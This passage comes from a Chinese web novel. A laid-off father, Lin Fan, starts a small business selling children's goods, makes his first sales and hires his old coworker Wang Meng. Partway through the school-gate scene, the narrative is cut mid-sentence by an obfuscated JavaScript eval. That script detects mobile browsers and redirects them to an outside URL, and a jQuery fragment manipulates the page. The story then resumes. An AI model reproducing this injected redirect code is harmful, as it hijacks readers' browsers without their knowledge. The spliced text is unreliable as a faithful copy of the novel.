买得多就送上门,哪怕只到楼下(比如筒子楼的李姐买两件衣服,就帮她提到三楼,她腿不好,爬楼费劲,帮个小忙,人家下次还会买),口碑都是慢慢攒的,像种庄稼,得一点点施肥,才能长好。
3.资金控在500元内
只够进货和去市里的车费(去市里的班车单程两块五,往返五块),多一分都不花。比如第一次进货,预算50元,哪怕看中了其他货,也不买,万一赔了,也不心疼,还能及时掉头,不影响家里的开销——他输不起,笑笑也输不起。
第三步:发展与巩固(3-12个月)
1.渠道要“稳”
跟市里1-2个批发商处好关系
——比如玩具摊的胖刘婶、童装区的王哥。
胖刘婶的摊位在小商品市场进门第二家,挂着“刘婶玩具批零”的招牌,红底黄字,老远就能看见,她人实在,上次问磁性写字板,报的价比别家便宜两**,还说“以后多来,给你更便宜”;
王哥的童装区在市场最里面,专卖纯棉童装,货质量好,上次摸了件小衬衫,软得像婴儿的皮肤。每次进货多聊两句,递根烟(买“红梅”牌的,两块五一包,便宜,拿得出手),慢慢争取低价(比如拿得多能不能便宜一毛钱?拿十个磁性写字板,从三块三降到三块,一次就能省三块,积少成多)。
渠道稳了,货才不会断,也不会被人坑,这是做生意的“根”。
2.规模要“小”
要是赚钱了,租个小储藏室当货仓
——不用大,十平米以内就行,能放几箱货,最好在离筒子楼三站地的“机床厂家属院”附近,那里人不熟,不会被邻居看见,省得麻烦。
不挂牌,只做熟客,外人找不到,避免被**那样的人盯上,平安最重要。
3.人要“靠谱”
看看王猛能不能帮衬
——他是林凡以前的同事,在工厂时就老实,不爱说话,闷头干活,家里有两个孩子,下岗后靠打零工过活,日子难,经常吃了上顿没下顿。
要是他愿意,就让他帮忙看货、送货,一个月给两百块工钱,比找外人放心,也能帮他一把,互相照应,在难的时候,能有个靠谱的人搭把手,比啥都强。
4.口碑要“好”
东西质量必须过关
——橡皮不能掉渣(上次买的一块橡皮,一擦就掉渣,孩子弄得满手都是,家长肯定不买,得选不掉渣的,擦得干净的),
衣服不能起球(纯棉的衣服要选精梳棉,洗了不起球,孩子能穿久点),玩具不能容易坏(磁性写字板的板芯要厚,不容易裂,孩子摔了也没事)。
哪怕少赚点,也不坑人,比如铅笔盒能卖五块,家长说四块五,就卖,慢慢让大家知道“凡子的东西不错,实在,不赚黑心钱”,口碑好了,生意才能长久,像树一样,根扎得深,才能长得高。
长远愿景(1-3年)
1.要“专”
从杂货摊慢慢聚焦到1-2类
——比如高端玩具(益智类,比如积木、遥控车,家长愿意花钱,觉得能开发孩子智力,利润也高,比卖小零食赚得多)
或童装(质量好的纯棉童装,做回头客,孩子长得快,家长每年都要添新衣服,需求稳),做深做透,比什么都卖强。
比如只卖益智玩具,能了解每种玩具的特点,跟家长介绍时更专业,家长也更信任,比如积木能锻炼孩子的动手能力,遥控车能锻炼反应力,说出来家长也愿意买。
2.要“新”
试试新的生意模式
——比如儿童玩具租赁(比如大的遥控车、积木,太贵家长舍不得买,租着玩划算,一天两块钱,一个月就能回本,还能让更多孩子玩到)、
甚至办份小的育儿小报(印点喂养知识,比如“夏天孩子怎么防中暑”“辅食怎么加有营养”,都是家长关心的,背面印自己的玩具、童装广告,免费发给家长,攒人气,让大家都知道他的店)。
3.要“远”
攒够钱,
要么入股朋友的小生意(比如以前厂里的老张开的五金店,老张实在,不耍滑头,五金店生意稳定,入股能分红,不用自己操心,还能有份稳定的收入),
要么买个小铺子(不用大,十五平米就行,能当门面,比如在小学附近,卖玩具、文具,不用再颠沛流离,不用再担心被人抢,笑笑也能有个稳定的家,能在铺子里写作业,不用再挤在筒子楼里)。
写完,林凡翻了翻笔记本,纸页被铅笔蹭得有点黑,字歪歪扭扭却一笔一划,每个字都透着认真,像刚学会写字的孩子,虽然不好看,却满是诚意。
他知道计划赶不上变化,比如刘强可能还会找事,批发商可能会涨价,进货路上可能会遇到麻烦,但这张纸像指南针,让他心里有底,知道该往哪走。
不能急,得像春雨润物,悄悄长——他小时候在农村见过,庄稼长得太快,根扎不深,一阵大风就容易倒;只有慢慢长,根扎得深,才能扛住风雨,才能结出好果子。
第二天一早,天刚亮,筒子楼里就传来了扫地的声音,王婶已经起来做早饭了。
林凡按计划行动,抱着笑笑去菜市场,手里拎着个旧网兜——那网兜是苏晚晴以前用的,边缘断了几根线,他用绳子绑了绑,还能用。
网兜里装着买好的米、油和鸡蛋——鸡蛋还特意用软纸包着,一张纸包一个,怕碰碎,这是苏晚晴以前教他的,当时她说“鸡蛋要轻拿轻放,不然碎了就吃不了了”。
刚到巷口,就遇上张婶——她头发梳得整齐,用黑色发网罩着,没掉一根碎发,围裙上沾着面粉,刚从早点摊回来,手里拎着萝卜白菜,菜叶子上还沾着泥,带着露水的湿气。
看见林凡的网兜,张婶的眼睛一亮,凑过来问:
“凡子,今天不过节,买这么多米和鸡蛋,日子过顺了?”
林凡叹了口气,脸上却带着点劲,像刚找到方向的人,语气里有藏不住的踏实:
“张婶,不瞒您说,昨天去市里没找到活,蹲在路边想了半天,总不能混日子。
之前卖冰棍赚了几块,就想着进点小货再试试,能多赚点是点。再苦不能苦孩子,您看笑笑瘦的,先让她吃口好的,补补身子。”
这话合情合理,张婶点点头,还伸手摸了摸笑笑的头,手上的面粉蹭到了笑笑的头发上,她笑着劝:
“早该这样!踏实干,比啥都强。你看笑笑这小脸,瘦得都没肉了,是该补补。”
她没多问,反而从兜里掏出个西红柿,用围裙擦了擦——围裙上的面粉蹭在西红柿上,留下点白印,她递给笑笑:
“刚在菜市场买的,沙瓤的,甜得很,给孩子吃,解解馋。”
笑笑接过西红柿,小手攥着,西红柿有点大,她得两只手捧着,抬头看林凡,眼里带着询问,像在问“能不能吃”。
林凡点点头,轻声说:
“谢谢张奶奶。”
孩子的声音软乎乎的,像棉花糖,逗得张婶笑出了满脸褶子,摆摆手说:
“谢啥,邻里街坊的,应该的。”
接着是“市场调研”。
林凡抱着笑笑,蹲在向阳小学门口的老槐树下——这棵老槐树有三十年树龄了,树干粗得要两个人合抱,树皮糙得像老人的手,刻着的字被风雨磨得浅了,
“小明到此一游”的“游”字少了右边一点,“小红是笨蛋”的“笨”字歪歪扭扭,倒像小孩子赌气时写的。
树底下凉快,有不少等着接孩子的家长,他混在里面,像个普通的、等着接孩子的家长,眼睛却
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16607474|187589||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
像台扫描仪,不放过任何细节:
一个穿蓝白相间校服的小男孩,书包是军绿色的“双肩包”,带子上缝了块补丁,上面挂着“樱桃小丸子”的贴纸,
贴纸比本地小卖部卖的亮,边角还带着闪粉,小男孩跑的时候,贴纸跟着跳,像只小蝴蝶,引得旁边穿碎花裙的小姑娘盯着看,手里的棉花糖都忘了咬,糖汁滴在手上都没察觉;
三个扎马尾的女孩围在一起喝“娃哈哈AD钙奶”,红色的吸管包装,瓶身印着圆脸蛋的卡通娃娃,她们你一口我一口,喝得欢,喝完还把空瓶子攥在手里,舍不得扔,其中一个女孩说
“我要把瓶子留着,装小石子”;
一个扎羊角辫的小姑娘,头上别着个塑料发卡,只有红、粉两种颜色,发卡上的小塑料花还掉了一片,她却宝贝得不行,时不时用手摸一下,怕再掉了,哭着跟妈妈说
“这是我最喜欢的发卡,掉了就没了”;
有个穿碎花衬衫的妈妈,手里拿着双“回力”牌的黑皮鞋,鞋尖有点磨白了,跟旁边的人抱怨:
“这鞋才给孩子买一个月,就裂了缝,孩子说脚闷得慌,扔了可惜,补了又不好看,真是浪费钱,要是有舒服点的鞋就好了”;
一个小贩推着二八大杠自行车,后座绑着个铁皮箱,箱子上写着“彩色泡泡糖”,红漆都掉了,卖的是草莓味的,吹得比拳头大,五分钱一块,围了一群孩子,没一会儿就卖了大半箱,小贩笑得合不拢嘴,手里的钱都攥不过来。
这些细节,他都记在心里,像存进一本看不见的“生意账”——贴纸要亮的、带闪粉的;AD钙奶能进点,孩子爱喝;
发卡要款式多的,别再掉花瓣;泡泡糖卖得快但利润薄,暂时不考虑……每一笔都记牢,生怕漏了。
几天后,林凡揣着五十块钱,去了市区的小商品批发市场。
市场里人声鼎沸,铁皮棚子被太阳晒得发烫,空气里混着汗味、糖精味、塑料玩具的味道,还有商贩们扯着嗓子的吆喝,
“批发价!错过今天等半年!”
“新款玩具,全县独一份!孩子见了都想要!”
的声音撞在棚子上,又弹回来,裹着热气往人耳朵里钻。地面淌着水渍,混着菜叶子和塑料袋,踩上去有点滑,他走得小心,怕摔了,怀里的钱不能有闪失。
林凡像块海绵,扎进儿童区,挨个摊位转,眼睛都亮了——这里的东西比县里的多,也好看,笑笑肯定喜欢:
玩具摊前,胖刘婶正用算盘算账,“噼里啪啦”响得飞快,比旁边卖糖葫芦的吆喝还响。
林凡拿起个小号的磁性写字板,黑色的板芯,白色的笔,笔在上面画了道线,一擦就干净,不留痕迹,板芯厚得很,摔在手里沉甸甸的。
“婶,这写字板咋批?”
“3块5一个,拿5个以上3块3。”
胖刘婶抬头看他,脸上堆着笑,眼角的褶子都挤在了一起:
“你拿这个?好卖!昨天刚走了两箱,都是给孩子买的,家长说能开发智力,孩子也喜欢,能玩一下午。”
林凡没多犹豫,拿了5个,算下来16块5,他数了钱递过去,胖刘婶接过钱,还给他塞了个小塑料玩具,
“下次再来啊,给你留好货。”
文具摊的老板是个瘦老头,戴着老花镜,镜片厚得像啤酒瓶底,桌上摆着堆橡皮、铅笔、笔记本,都用塑料袋装着,怕落灰。
林凡拿起块草莓味的橡皮,闻着甜丝丝的,像真的草莓,橡皮上还印着小鸭子图案,可爱得很。
“大爷,这橡皮咋批?”
“2毛钱一块,拿20块1**8。”
老头声音有点哑,像被砂纸磨过,还指了指旁边的铅笔盒:
“印小燕子的铅笔盒,2块一个,拿4个算7块5,划算,这几天卖得好,好多家长来买。”
林凡选了草莓味和橘子味的橡皮各10块,又拿了4个印小燕子的铅笔盒,花了3块6+7块5=11块1,老头还帮他装在个小袋子里,
“小心点,别压坏了。”
童装区的王哥正整理衣服,货架上挂满了各种颜色的童装,红的、粉的、蓝的,像一片小花海。
林凡拿起件粉色的连衣裙,纯棉的料子,摸着手软得像云朵,比本地卖的粗布软多了,领口还包了边,不磨脖子。
“哥,这裙子咋批?”
“8块一件,拿两件15,给你省1块。”
王哥笑着说,还拿起裙子给林凡看,手指捏着领口:
“这是市里百货大楼的货,县里没有,孩子穿得舒服,洗了也不起球,我家侄女就穿这个,都说好。”
林凡拿了两件粉色的,花了15块,王哥还跟他说:
“下次来提前说,给你留新款式。”
他算了又算,总共花了16块5+11块1+15块=42块6,不到50块,比预算还省了7块4。
他用个黑色的旧书包装好货,书包里还混着给笑笑买的两个苹果——挑的红通通的,擦得干干净净,花了3块钱,不显山不露水地踏上回县的班车。
班车里人多,挤得很,他把书包抱在怀里,怕被人挤坏了,那是他的“希望”。
傍晚,林凡没直接回家,而是去了“机床厂家属院”——离筒子楼三站地,里面住的都是机床厂的职工,工资稳定,比筒子楼的人手头宽裕,而且人不熟,不容易暴露,安全。
他找了个路灯下的角落,那是盏老式的水银灯,有点晃,灯光照在地上像泼了层淡墨,光晕里飘着飞虫,围着灯转圈圈,却正好照在书包口。
他把书包打开个小口,露出连衣裙的粉色花布,那点粉色在昏光里很显眼,没吆喝,就抱着笑笑坐在台阶上,等着有人来问
——他知道,好货不用喊,孩子看见了自然会来,就像蜜蜂会找花一样。
没等五分钟,一个穿碎花衬衫的妈妈就领着个小女孩过来了。
小女孩扎着马尾,用红色皮筋绑着,皮筋上还挂着个小铃铛,一走就“叮铃”响,穿着白色小褂,拽着妈妈的衣角晃:
“妈妈!妈妈!你看!小燕子的裙子!”
她指着书包里的连衣裙,眼睛亮得像浸了水的星星,小手还想去摸,又赶紧缩回来,怕把花摸掉了,小嘴巴抿着,满是期待。
她妈妈走过来,弯腰拿起裙子,指尖摸了摸料子,又翻过来看看针脚——针脚细密,没有线头,料子也软乎乎的,比她上次买的粗布裙子好多了。
“这裙子多少钱?”
妈妈问,声音里带着点犹豫,手还捏着裙子的下摆,舍不得放下。
“十五块。”
林凡笑着说,声音放得软,怕吓着孩子,还指了指笑笑,
“我家孩子也穿这种,舒服。”
“十五块?有点贵啊。”
女人皱了皱眉,还看了看女儿,眼里满是纠结:
“孩子长得快,穿不了多久就小了,不值当。”
林凡没急着反驳,只是指了指裙子的领口,语气诚恳:
“大姐,您看这领口,包边的,孩子穿的时候不磨脖子,不会疼;料子是纯棉的,夏天穿得透气,不闷汗,孩子穿得舒服,不会长痱子。
这是市里百货大楼的货,您要是去市里买,至少得二十块,我这比市里便宜五块,还省了车费,多划算。”
女人又摸了摸料子,确实比本地卖的粗布舒服,而且女儿眼巴巴地看着裙子,小手紧紧攥着她的衣角,嘴里还小声说:
“妈妈,我想要……我会爱惜的,穿很久。”
女人叹了口气,脸上的纠结慢慢散了,讨价还价:
“十四块,行不?我下次还来买,再帮你问问邻居,让她们也来买。”
“行。”
林凡点头,接过钱——是两张五块、四张一块,带着点体温,还沾着点菜叶子的碎渣,这是他赚的第一笔钱,攥在手里,暖得发烫。开张了!
接着,一个穿蓝色衬衫的爸爸领着个小男孩过来。小男孩穿着运动裤,裤脚卷了起来,手里拿着个弹弓,看见书包里的磁性写字板,眼睛就挪不开了,悄悄把弹弓放进了口袋,脚步也慢了下来,拽着爸爸的手往这边拉。
爸爸拿起写字板,用笔画了个“1”,一擦就没了,笑着说:
“这玩意儿好,给娃开发智力,还省纸,不用总在墙上画,家里的墙都被他画花了。多少钱?”
“八块,不贵,您给孩子买一个,他能玩好久。”
林凡说,还让笑笑试了试,笑笑拿着笔,在上面画了个小圆圈,笑得开心。爸爸没还价,从口袋里掏出一张十块的,递给林凡:
“不用找了,下次有好货再给我留着。”
林凡还是找了两块钱,笑着说:
“该多少是多少,谢谢您照顾,下次有新的我给您留着。”
还有个头发花白的奶奶,拄着拐杖,拐杖头都磨亮了,领着个小男孩过来。小男孩手里拿着个变形金刚,零件都掉了一个,看起来有点旧了,却还攥着不放。
奶奶拿起印着小燕子的铅笔盒,眯着眼睛看了看,还凑到灯底下,
“这是《还珠格格》里的小燕子吧?
我家孙子天天看这个电视,就喜欢小燕子,昨天还说想要个小燕子的东西。多少钱?”
“五块。”
林凡说,声音放得更软,怕奶奶听不见。奶奶讨价:
“四块五,行不?我孙子明天过生日,就当给他的生日礼物了,老婆子没多少钱,体谅体谅。”
林凡也应了
——能卖就卖,不恋战,赚个人情比多赚五毛钱强,奶奶不容易,孩子过生日也该有个礼物。
不到一小时,货卖了大半:
2个写字板(16元)、1个铅笔盒(4.5元)、1件连衣裙(14元),总共收入34.5元,快收回成本了。剩下的1块橡皮、2个铅笔盒、1个写字板,
他没再等,收拾书包就走——见好就收,夜长梦多,万一遇到熟人或者刘强的人,就麻烦了,安全第一。
回家的路上,笑笑趴在他怀里,手里攥着个苹果,啃得满脸都是汁,苹果汁顺着下巴流到衣服上,她也不在意,小嘴巴还在嚼着,眼里满是满足。
林凡低头看女儿,心里的暖,比路灯的光还亮——这第一步,总算走稳了,像刚学走路的孩子,虽然慢,却没摔,还往前迈了步。
晚上,哄睡笑笑后,林凡坐在灯下,在笔记本上记录:
“磁性写字板最好卖(家长认‘益智’,愿意花钱,下次多进点),连衣裙贵但质量好(有人买,下次可以多拿两件,粉色受欢迎),橡皮便宜但问的人少(下次少进,只拿10块,选两种味道就行)。”
他在“益智”两个字下面画了个小勾,笔尖划过纸页,眼神亮着光——这条路,走对了,他没选错。
蓝图的第一个点,终于亮了。
这只是一小步,却踩得踏实,像种下的第一颗种子,在土里扎了根,不会被风轻易吹倒。
灯光下,笑笑睡得香,小脸红扑扑的,像个熟透的苹果,手里还攥着个苹果核,苹果核上还沾着点果肉,嘴角带着浅浅的笑,大概是梦见又吃苹果了,小鼻子轻轻动了动,像只刚吃饱的小猫。
林凡摸了摸女儿的头,
指尖能感受到她温热的体温,心里清楚:
希望的萌芽,已经在现实的土里,悄悄破土了。
他要做的,就是好好呵护
——像照顾庄稼一样,浇水、施肥,不着急,
等它慢慢长成大树,能为笑笑遮风挡雨,
能给她一个安稳的家,
一个不用再怕被人欺负、
不用再担心吃不饱的家。
第九章:王猛的抉择
试水成功的喜悦像杯温黄酒,在林凡心里暖了两天
——那是上周在汽车站门口,他揣着仅有的五十块进货钱,进了十个磁性写字板,蹲在树荫下守了一整天,竟卖出六个。
三块钱的成本,八块钱卖出,刨去来回两毛钱的公交费,净赚二十七块。
这笔钱够他和笑笑买十天的米面,还能给孩子添个白面馒头当零食。
可这份喜悦没让他飘起来,夜里哄睡笑笑时,孩子梦里嘟囔的“想吃肉”,像根细针,扎得他不敢懈怠。
等笑笑的呼吸变得均匀,林凡搬了张木凳,坐在昏黄的钨丝灯下翻笔记本。
十五瓦的灯泡昏昏沉沉,把他的影子拉得老长,映在斑驳的墙面上。
笔尖在“需要帮手”四个字上反复画圈,墨迹晕开,像他此刻纠结的心思
——流动摊贩就像无根的草,晴天要晒得脱皮,雨天要淋得透湿,更要命的是没个照应。
前几天在汽车站,街溜子**带着两个人过来,说“地盘费”一天一块,他不给,**就伸手推了他一把,还差点把笑笑的小皮球扔到马路上。
若不是当时有个卖菜的大爷过来劝,指不定要闹成什么样。
“要站稳脚跟,得有个扎在地上的据点,更得有个能托付后背的伙伴。”
林凡对着笔记本小声嘀咕,思绪像藤蔓似的,第一时间缠上了王猛。
那个前工友生得高壮,一米八五的个子,胳膊上的肌肉块子绷得紧实——那是在机械厂时,常年拧M16螺丝练出来的。
最要紧的是王猛憨直,认死理,只要把你当兄弟,就肯掏心掏肺。
林凡还记得,三年前在车间,他操作车床时走神,手指差点被卡进齿轮,是王猛眼疾手快,一把拽住他的手腕,自己却被机器带起的铁屑划了道口子,鲜血直流。
事后王猛还替他瞒着车间主任,说“是我没提醒他”,硬生生扛下了扣半个月奖金的处罚。
可下岗后的王猛,日子比林凡还苦。
机械厂破产后,他没手艺,只能靠力气吃饭——蹬三轮拉货,一天挣个十块八块;去工地搬砖,扛一袋五十斤的水泥才给两毛钱。
去年冬天,他给建材店搬钢材,脚下一滑,三百斤的钢管砸在腿上,落下个阴雨天就疼的病根。
从那以后,重活干不了,只能靠修修补补的三轮拉点轻货,勉强糊口。
林凡上次在菜市场碰到他,见他穿着洗得发白的旧工装,袖口磨破了边,手里攥着两个馒头,说“给孩子当晚饭”,那模样,看得林凡心里发酸。
“拉他一把,既是念旧情,也是为自己找个放心的臂膀。”
林凡合上书,心里拿定了主意。
这天下午,林凡没去汽车站“游击”卖货,特意绕到城南的菜市场。
刚到巷口,卤味摊飘来的油香就勾着人的鼻子——肥腻的猪头肉躺在搪瓷盘里,裹着深褐色的卤汁,泛着油亮的光,连盘边的碎末都让人想舔一舔。
林凡咬咬牙,割了半斤,八毛钱一斤,花了四**。
老板知道他带孩子不容易,用油纸包了三层,还特意从锅里舀了勺卤汁淋在里面,笑着说
“给孩子拌米饭香”。
接着,他又在拐角的小卖部买了瓶本地啤酒——玻璃瓶上的标签皱巴巴的,印着“县啤酒厂出品”,五毛钱一瓶,是最便宜的款。
最后在菜摊前,他挑了两根顶花带刺的黄瓜,一毛钱两根,还带着刚从地里**的泥土气。
把这些东西裹在布包里,他抱着笑笑,慢慢往王猛家走。
王猛家在筒子楼的最西头,比林凡家还破。
楼道里没灯,白天都得摸着墙走,墙上满是孩子画的涂鸦,还有“水电欠费”的通知单,风吹得纸片哗哗响。
到了门口,林凡一眼就看见门框掉了块漆,露出里面发潮的木头,门虚掩着,缝里飘出淡淡的机油味,还夹杂着孩子的哭闹声——
“我要吃饼干!我要吃饼干!”
那声音又细又尖,像根针,戳得人心慌。
林凡敲了敲门,里面传来粗声粗气的应答:
“谁啊?门没锁!”
推开门,一股混杂着机油、汗味和霉味的气息扑面而来。
王猛正蹲在地上,对着辆破三轮发脾气。
那三轮的车胎瘪得像张晒干的纸,轮毂锈得发黑,连辐条都断了两根,车座上的海绵露出来,沾满了油污。
王猛手里攥着块橡胶补丁,满手油泥蹭得藏青色裤子上都是黑印,指节因为用力而泛白,指尖还沾着点血丝
——刚才补胎时被铁皮划到了,他没当回事,就用嘴舔了舔。
看到林凡,王猛愣了愣,目光先是落在他怀里的笑笑身上,随即就被布包里露出来的油纸吸引,喉咙不自觉地滚了滚,连发脾气的劲都泄了:
“凡子?你……你这是干啥?还带东西来。”
“来跟你喝两杯,说点事。”
林凡笑了笑,把东西放在屋里唯一的方桌上。
那桌子桌面裂着道斜缝,用透明胶带粘了又粘,还铺着张1997年的旧报纸,上面印着世界杯的球赛新闻,边角都卷了边。
他把笑笑放在床边,从口袋里掏出个磨掉漆的小皮球——还是上次在汽车站捡的,洗干净了给笑笑玩的——递过去:
“笑笑乖,先玩会儿,爸爸跟王叔叔说说话。”
王猛挠了挠头,头发上还沾着点机油,没从惊讶里缓过来,指着破三轮叹气:
“别提了!这破胎又扎了,补了三次都漏,橡胶都补得比胎厚了!今天一天就拉了一趟活,挣了五块钱,还倒贴了五毛钱补胎钱!”
他越说越激动,拳头“咚”地砸在车座上,车座的破海绵都被砸得露出来更多,
“家里孩子哭着要饼干,我去小卖部看了,最便宜的饼干也要八毛钱一包,我都没敢买……这日子,**要熬不下去了!”
林凡没接话,拆开油纸包
——猪头肉的卤香瞬间漫满了小屋子,连哭闹的孩子都停了声,从里屋探出头,睁着圆溜溜的眼睛往这边看,口水都快流出来了。
王猛的老婆也掀开布帘走出来,她脸色苍白,嘴唇有点发紫,咳嗽了两声,声音断断续续:
“凡子来了……快坐,我去烧点水。”
林凡连忙说“不用麻烦”,可她还是端了个缺了口的搪瓷杯过来,倒了杯温水放在桌上。
林凡用牙咬住啤酒瓶盖,“嘭”的一声脆响,泡沫冒了出来,溅在报纸上。
他递了一瓶给王猛:
“先喝点,垫垫肚子再说,别跟自己较劲。”
王猛盯着酒肉,又看看林凡,眼神复杂得像揉皱的报纸
——有渴望,有疑惑,还有点不安。
他下岗后,除了家里人,很少有人愿意主动跟他来往,更别说带酒肉上门了。
他接过啤酒,狠狠灌了一大口,泡沫顺着嘴角往下淌,滴在报纸上,晕开一小片湿痕。又抓起一块肥腻的猪头肉塞进嘴里,嚼得满嘴油光,含糊不清地问:
“凡子,你……你最近好像不一样了?
前几天听张婶说,你在汽车站捣鼓小买卖,还行?”
“混口饭吃呗,总不能饿着孩子。”
林凡自己也喝了口酒,酒液辣得喉咙发暖,顺着食道往下淌,驱散了些许凉意,
“猛子,我今天来,是想跟你商量个事儿——我想弄个固定的小摊,卖点小孩用的东西,像磁性写字板、铅笔盒这些,一个人忙不过来,想请你过来帮我。”
“帮你?”
王猛猛地放下手里的肉,油汁滴在报纸上,晕开小小的油印。他脸上写满了难以置信,眉头皱得紧紧的,还带着点警惕,
“帮你看摊?我……我没你那脑子啊!算账都算不清,上次给人拉货,人家给了十块,我该找三块,结果多找了两块,回家被我老婆骂了一顿!
而且你有本钱吗?
租摊位、进货,哪样不要钱?”
他下意识地往后缩了缩
——去年有个下岗工友,拉着他一起“倒腾”电子表,说是“一本万利”,结果后来才知道是假货,被工商的人抓了,罚了好几百。
从那以后,王猛对“小买卖”就有点犯怵,怕林凡也拉他干投机倒把的事。
林凡理解他的顾虑,语气放得更平和,像跟老兄弟聊天似的:
“本钱我有一点,前几天去市里,碰上个远房表哥
——就是以前在机械厂给咱们修过机器的那个,你还记得不?
他知道我带着孩子难,借了我五百块。”
他再次搬出“亲戚”这个万能借口,既合理,又不会引人深究,
“不多,但租个小地方、进点货够了。
地方我都看好了,就在机械厂老家属区那边,靠墙根有个废弃的自行车棚,我跟街道的李主任说了
——就是上次你腿受伤,帮你办低保的那个李主任
——他说一个月三十块就能租给我,水电都不用额外掏钱,就接旁边小卖部的电,一个月给五块钱就行。”
他顿了顿,目光落在王猛攥着啤酒瓶的手上
——刚才还紧绷的指节,此刻松了点,眼神里的警惕也淡了些。
林凡继续说:
“你不用出钱,就出力。
平时帮我看摊、搬货,我去市里进货的时候,你就照看着摊子和笑笑。
一个月,我先给你开一百二十块,管中午一顿饭,顿顿有菜,偶尔还能有肉
——就像今天这样的猪头肉,咱们能一起吃。
以后生意好了,再涨工资,咱们也能像以前在厂里那样,有个盼头,不用天天愁下一顿饭。”
“一……一百二?!”
王猛的音量突然拔高,像被开水烫到似的,眼睛瞪得像铜铃,嘴里没咽下去的肉差点噎住。
他咳了两声,手使劲拍着胸口,不敢相信地追问,
“还管饭?凡子,你没喝多吧?现在县城里,能进工厂的好工种,一个月也就三百块,还得有关系才能进去!
我蹬三轮累死累活,刨去修车的钱、吃饭的钱,一个月能落下一百块就烧高香了!你让我看个摊,就给一百二?”
王猛说的是实情。
林凡早就打听好了——县城里的体力劳动者,像搬砖、拉货的,平均月薪也就八十到一百块,管饭的更是少之又少。
他定一百二,就是比平均水平高一点,既能让王猛心动,又没超出“小本生意雇人”的合理范围,免得街坊邻居起疑,说他“赚了大钱”。
“我没开玩笑。”
林凡表情认真,指尖敲了敲桌面,旧报纸发出“沙沙”的轻响,“生意刚起步,可能辛苦点
——早上得早起,七点就得开门,晚上得等孩子放学,六点才能关店。
但我觉得能干成,上次在汽车站,一天就卖了六个写字板,好多家长都问有没有别的小孩用的东西。
猛子,你就说,干不干?”
王猛看着林凡清澈又笃定的眼神,又扫了眼床边乖乖玩球的笑笑
——孩子穿着洗得发白的碎花衫,领口缝了块补丁,却干干净净,小辫子扎得整整齐齐,不像自己家孩子,衣服上总沾着油污。
他再想想自己那辆修不好的破三轮,想想家里孩子哭着要饼干的样子,想想老婆半夜偷偷抹眼泪、怕药钱不够的模样,一股劲突然从心里涌上来,像烧滚的开水,烫得他眼眶发热。
他猛地一拍大腿,桌子都震了震,啤酒瓶晃了晃,差点倒了。
“干!傻子才不干!”
王猛的声音带着点哽咽,
“凡子,你看得起我王猛,没嫌我腿不好、脑子笨,我这条膀子就卖给你了!
以后你动脑子算账、进货,出力气的活儿全归我——搬货、看摊、打扫卫生,保证不出错!
谁要是敢来**,我第一个跟他急!”
他激动得脸都红了,抓起啤酒瓶又灌了一大口,酒液洒在衣襟上也不在意,用袖子胡乱擦了擦。林凡笑了,伸出手:
“好!那咱们就搭伙干,有钱一起赚,有饭一起吃!”
两只手紧紧握在一起——林凡的手因为最近算账、进货,指腹磨出了新的薄茧,掌心还带着点油墨的痕迹;
王猛的手则满是老茧,掌心沾着机油味,粗糙得像砂纸,指关节上还有没愈合的小伤口。
曾经在同一个车间拧螺丝、一起吃食堂、一起在宿舍聊天的两个人,此刻又有了新的联结,像两截断了的木头,被一颗钉子牢牢钉在了一起,再也分不开。
接下来的三天,两人忙得脚不沾地,连喝口水的功夫都少。
那间废弃的自行车棚紧靠着机械厂家属区的红砖墙,墙皮剥落得厉害,露出里面的青砖,砖缝里还长着点野草。
石棉瓦顶破了好几块,风一吹就“哗啦哗啦”响,像个老人在叹气。
王猛从废品站挑了两块最厚的旧塑料布,洗了三遍,直到没了异味,才踩着摇晃的木凳爬上爬下。
他怕塑料布被风吹跑,特意用钉子钉得牢牢的,还在边缘压了块沉甸甸的青砖——那是他从楼下捡的,洗干净了,压在塑料布上正好。
林凡则去建材店买了钉子、合页,还砍了价——本来五毛钱一斤的钉子,他软磨硬泡,花四**五就拿下了。
两人叮叮当当敲了一天,用捡来的旧木板隔出个小储物间,又做了个带挡板的窗口——挡板是块从旧货市场淘来的旧门板改的,林凡刷了层蓝漆,虽然颜色不均匀,却看着亮堂。
晚上把挡板锁上,就是个严实的小铺子,不用担心丢东西。
林凡还去旧货市场淘了个玻璃面柜台。
那柜台的柜面有点划痕,老板要二十块,林凡跟他聊了半天,说自己是下岗工人,带着孩子不容易,最后十五块就买下来了。
他还让老板帮忙搬到三轮车上,省了不少力气。
回到棚子,林凡用抹布蘸着肥皂水擦了三遍,把柜面擦得锃亮,能映出人影。
又买了两个小马扎,蓝色的塑料面,坐着舒服,才花了三块钱。
最关键的招牌,林凡没敢做得显眼——他怕太招摇,引来不必要的麻烦。
只找了块平整的三合板,用毛笔工工整整写了“笑笑宝贝屋”五个字,字体不大,还特意用墨调得淡了点,挂在棚子入口上方。
那招牌混在周围的旧墙和爬山虎里,毫不起眼,像本来就长在那儿似的。
进货时,林凡的胆子大了些——有王猛帮忙搬货,不用再担心拿不动。
他除了补购之前好卖的磁性写字板(成本三块,卖八块)、《还珠格格》铅笔盒(成本两块,卖六块),还进了质量好的纯棉儿童袜子
——一包十双,有粉、蓝、白三种颜色,针脚细密,成本五**一双,打算卖一块五。还有印着小熊图案的手帕,边角缝了花边,不容易破,成本三毛,卖一块。
最后,他还试探性地拿了一箱“娃哈哈AD钙奶”。
那纸箱上印着笑脸娃娃,在当时算是高端饮品——县城里只有百货大楼有卖,一块二一瓶,寻常家长都舍不得给孩子买,觉得“太贵,不如买袋五毛钱的奶粉实在”。
林凡之所以敢进,是因为上次在汽车站,有个宝妈说“要是有AD钙奶,愿意多花点钱给孩子买,孩子总跟同学念叨”。
他咬咬牙,进了一箱(二十四瓶),成本八**一瓶,打算卖一块二,跟百货大楼一个价。
前后算下来,启动资金投了将近三百元——柜台十五、木板钉子十块、进货两百六十块,还有给李主任的三十块租金,几乎是他手里所有流动资金的一多半。
掏钱时,他手指都有点抖——这是他和笑笑的“家底”,要是赔了,娘俩连饭都吃不上。
